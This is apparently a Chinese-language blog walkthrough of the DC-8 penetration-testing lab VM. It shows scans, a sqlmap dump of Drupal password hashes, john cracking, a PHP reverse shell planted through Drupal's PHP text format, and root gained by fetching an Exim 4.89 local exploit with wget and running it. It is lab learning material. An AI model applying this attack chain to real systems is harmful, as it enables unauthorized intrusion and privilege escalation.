DC-8 渗透测试

冲冲冲 ,好好学习 。 核心:cms上传添加存在漏洞组件,利用该组件getshell

操作机:kali 172.66.66.129

靶机:DC-4 172.66.66.137

网络模式:NAT

netdiscover

nmap -sV -A -p- 172.66.66.137 -oN dc-8.nmap

开了22端口ssh 7.4,80端口http

robots.txt 看看

dirb http://172.66.66.137 | grep CODE:2

dirb http://172.66.66.137 > /tmp/dc-8.dirb

只看能访问成功的页面,也可以所有结果输出到文本里保存起来慢慢分析。

有感觉到靶机的难度在提升,加油冲冲冲

先去访问80看看,发现cms是Drupal 7



直觉告诉我,这个url 存在注入点?

url输入单引号 ' 有报错回显而且泄露路径,可以sqlmap跑起来。

sqlmap -u http://172.66.66.137?/nid=1

存在漏洞,爆破吧(不想手工来了>..<)

sqlmap -u http://172.66.66.137/?nid=1 --dbs

sqlmap -u http://172.66.66.137/?nid=1 -D d7db --tables

sqlmap -u http://172.66.66.137/?nid=1 -D d7db -T users --columns

sqlmap -u http://172.66.66.137/?nid=1 -D d7db -T users -C name,pass,uid --dump

name pass uid
admin $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z 1
john $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF 2

保存密码到dc-8.txt,再kali下john爆破一下, john dc-8.txt

turtle

尝试登陆

admin:turtle ; john:turtle发现john是可以的

searchsploit drupal 7

查到/usr/share/exploitdb/exploits/php/webapps/34992.py,能添加admin账号

没有该漏洞,搞了个寂寞... (还有个ssh爆破没尝试)

john账号登进去之后的内容就太丰富了。

看到有留言板,马上想到XSS。

我们的目标是:想办法拿到shell,先想到反弹shell,反弹shell的前提是,得找到有地方可以上传并解析代码的位置。

留言板尝试无果,

发现有个可以 edit ,可以编辑代码?点开看看,貌似可以插入个php反弹shell

添加完仿佛没效果?是没有解析吗?

一顿操作下来,发现了这个页面,编辑文本格式里找到了 php code ,狂喜 (>-<)

菜鸡落泪,步骤的第一步就错了,不应该一上来就写反弹shell,得先测试一下这里输入的php代码时候可以被正确的执行,并且回显。测试php 编码是否能执行,写个 <?php phpinfo();?>之类的。

有没有发现,写进去了,讲道理,写进去的php,一般是解析执行了的,但是要访问哪个路径才能看到写进去的内容呢?(打开什么路径触发?)这是个大问题。大问题大问题,为啥没显示出来?编辑还没提交吗?

果然是提交的问题,上面的步骤不完整,每一个都填写,还要添加

最后起作用的好像是这个图的框里,点击submit之后,shell上线。不不不,最后起作用的不是这个框,是上图的form sitting

拿到个陌生shell,开始收集信息。uname -a 、echo $SHELL 、echo $PATH、find / -perm -4000 -type f 2>/dev/null ...

令人兴奋的权限,查看一下内容是啥

4.89版本的exim ,找一下漏洞

上面的txt大多是漏洞验证之类的文档,当然也可以研究可以。要是有 可执行的提权脚本就更爽了。

盯住 privilege escalation 字眼,46994.sh仿佛在向你招手。本地提权,得把脚本传到靶机。

kali开启服务器python -m SimpleHTTPServer 9876

靶机下载脚本 wget http://172.66.66.129:9876/46996.sh

kali下记得执行以下 dos2unix 46996.sh 改一下文本格式

执行(脚本改名为 dc-8.sh了)



没成功,再回去仔细看看脚本源码

有两种利用方法, suid 、netcat

这个shell 效果很玄学,执行了七八次,最后是用netcat才成功了。

最后

  1. 好好学英语
  2. 英语好好学
  3. 学好英语好
  4. 核心在:寻找cms可执行代码的模块/组件,利用来反弹shell。shell代码不一定能执行成功,多研究一下。
  5. 真的得沉得住气,坚持,有耐心,反复尝试反复尝试仿佛尝试
  6. Exim是一个MTAMail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。该软件主要运行于类UNIX系统。通常该软件会与Dovecot或Courier等软件搭配使用。
  7. .rb文件格式是Ruby创建的程序源代码,Ruby是一种为简单快捷的面向对象编程而创建的脚本语言,通过Ruby来编译运行。

DC-8 靶机渗透测试的更多相关文章

  1. DC-1 靶机渗透测试

    DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...

  2. DC-5 靶机渗透测试

    DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...

  3. DC-2 靶机渗透测试

    DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...

  4. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  5. DC-7 靶机渗透测试

    DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...

  6. DC-6 靶机渗透测试

    DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...

  7. DC-4 靶机渗透测试

    DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...

  8. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  9. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

随机推荐

  1. DOS命令行(5)——Windows系统的配置与管理(下)

    whoami --查看当前有效用户 这个工具可以用来获取本地系统上当前用户(访问令牌)的用户名和组信息,以及相应的安全标识符(SID).声明.本地系统上当前用户的权限.登录标识符(登录 ID).例如, ...

  2. 重新整理 .net core 实践篇—————Mediator实践[二十八]

    前言 简单整理一下Mediator. 正文 Mediator 名字是中介者的意思. 那么它和中介者模式有什么关系呢?前面整理设计模式的时候,并没有去介绍具体的中介者模式的代码实现. 如下: https ...

  3. js判断字符串为空或者为null 简写

    if (str1!== null || str1!== undefined || str1!== '') { var str2= str1; } 下面是简写 var str2= str1|| ''; ...

  4. 怎样用好PS中的钢笔工具(附练习钢笔工具网站)

    想要在PS中得心应手的的描绘出自己想要的线条(也就是路径),就需要对[钢笔工具]有一个充分的理解. [钢笔工具]绘出来的线条全部都是贝赛尔曲线,所以你在学习[钢笔工具]之前,要补习一下贝赛尔曲线的常识 ...

  5. spring boot.2x 集成swagger 加入拦截器后 swagger不能访问

    忽略掉 swagger-resources下面的请求 以及忽略掉 v2下面的请求即可 转自:https://blog.csdn.net/hanwenyi520/article/details/7989 ...

  6. leetcode 1122

    思路分析: 主要思想:计数排序 先遍历arr1,然后计数,再遍历arr2时同时又排完序了,再继续把arr2不存在的数字,再遍历加到数组后面,也同时排完序了.方便快捷

  7. OSSBrowser windows使用

    目录 1. 安装 2. 启动OSSBrowser并登录 1. 安装 下载地址:github或官方 2. 启动OSSBrowser并登录 ossbrowser安装包下载到本地解压之后,点击oss-bro ...

  8. golang开发:Error的使用

    Error是Go语言开发中最基础也是最重要的部分,跟其他语言的try catch的作用基本一致,想想在PHP JAVA开发中,try catch 不会使用,或者使用不灵活,就无法感知到程序运行中出现了 ...

  9. DataFrame的创建

    DataFrame的创建从Spark2.0以上版本开始,Spark使用全新的SparkSession接口替代Spark1.6中的SQLContext及HiveContext接口来实现其对数据加载.转换 ...

  10. Java基础00-常用API24

    1. Math Math 1.1 Math类概述 1.2 Math类的常用方法 返回绝对值:是正数是时候直接返回参数本身,是负值的时候返回的是参数的相反数.参数是10时返回的是10,参数是-10的时候 ...